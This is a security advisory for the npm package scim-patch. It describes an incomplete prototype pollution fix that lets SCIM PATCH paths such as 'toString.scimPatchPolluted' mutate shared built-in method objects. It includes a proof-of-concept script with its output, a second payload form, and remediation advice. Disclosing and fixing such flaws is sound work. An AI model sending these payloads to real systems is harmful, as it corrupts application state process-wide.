scim-patch: Mutation of Inherited Built-in Method Objects
What fixes it
- 0.9.2scim-patch, npmGitHub
npm install scim-patch@0.9.2
A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.
Description
Summary
Incomplete Prototype Pollution Fix Allows Mutation of Inherited Built-in Method Objects
scim-patch blocks direct dangerous path segments such as __proto__, constructor, and prototype, but still traverses inherited properties when applying SCIM patch paths.
An attacker who controls a SCIM PATCH operation can use paths such as toString.polluted to mutate shared built-in function objects, for example Object.prototype.toString.
Impact
A malicious patch can add attacker-controlled properties to inherited built-in method objects. The impact is narrower than direct Object.prototype pollution, but the mutation is process-global and may affect application logic that reads properties from inherited methods.
Details
Affected code paths:
navigate()reads inherited properties viaschema[subPath]assign()useskey in obj, which treats inherited properties as existing
Because inherited keys are followed, safe-looking path segments such as toString can resolve to shared built-in objects.
PoC
const assert = require("node:assert/strict");
const { scimPatch } = require("./lib/src/scimPatch");
const victim = {
schemas: ["urn:ietf:params:scim:schemas:core:2.0:User"],
userName: "alice",
active: true,
emails: [{ value: "alice@example.com", primary: true }],
meta: { created: "x", lastModified: "x", resourceType: "User" }
};
try {
assert.equal(({}).toString.scimPatchPolluted, undefined);
scimPatch(victim, [
{ op: "add", path: "toString.scimPatchPolluted", value: "polluted" }
]);
assert.equal(({}).toString.scimPatchPolluted, "polluted");
console.log(({}).toString.scimPatchPolluted);
} finally {
delete Object.prototype.toString.scimPatchPolluted;
}Output:
polluted
A no-path operation with a dotted value key is also affected:
scimPatch(victim, [
{ op: "add", value: { "toString.noPathPolluted": "polluted" } }
]);Remediation
Do not traverse inherited properties while resolving patch paths. Use own-property checks such as Object.hasOwn(obj, key) and create missing containers only for safe own keys.
Keep the existing denylist for __proto__, constructor, and prototype as defense in depth.
Text from GitHub Advisory Database
Affected versions 3
- scim-patch, npm< 0.9.2GitHub
- scim-patchaffected: < 0.9.2CVE List
- scim-patch, npmfrom first release, fixed in 0.9.2OSV
References 6
- github.com/thomaspoignant/scim-patch/commit/c86474f7a9b16191d939f59ba94eca6c6e63044bFixvia CVE List
- github.com/thomaspoignant/scim-patch/releases/tag/v0.9.2Fixvia CVE List
- github.com/advisories/GHSA-2mhw-wcx5-v3xjAdvisoryvia GitHub
- github.com/thomaspoignant/scim-patch/security/advisories/GHSA-2mhw-wcx5-v3xjExploitvia CVE List
- nvd.nist.gov/vuln/detail/CVE-2026-61834Referencevia GitHub
- github.com/thomaspoignant/scim-patch/pull/1127Referencevia CVE List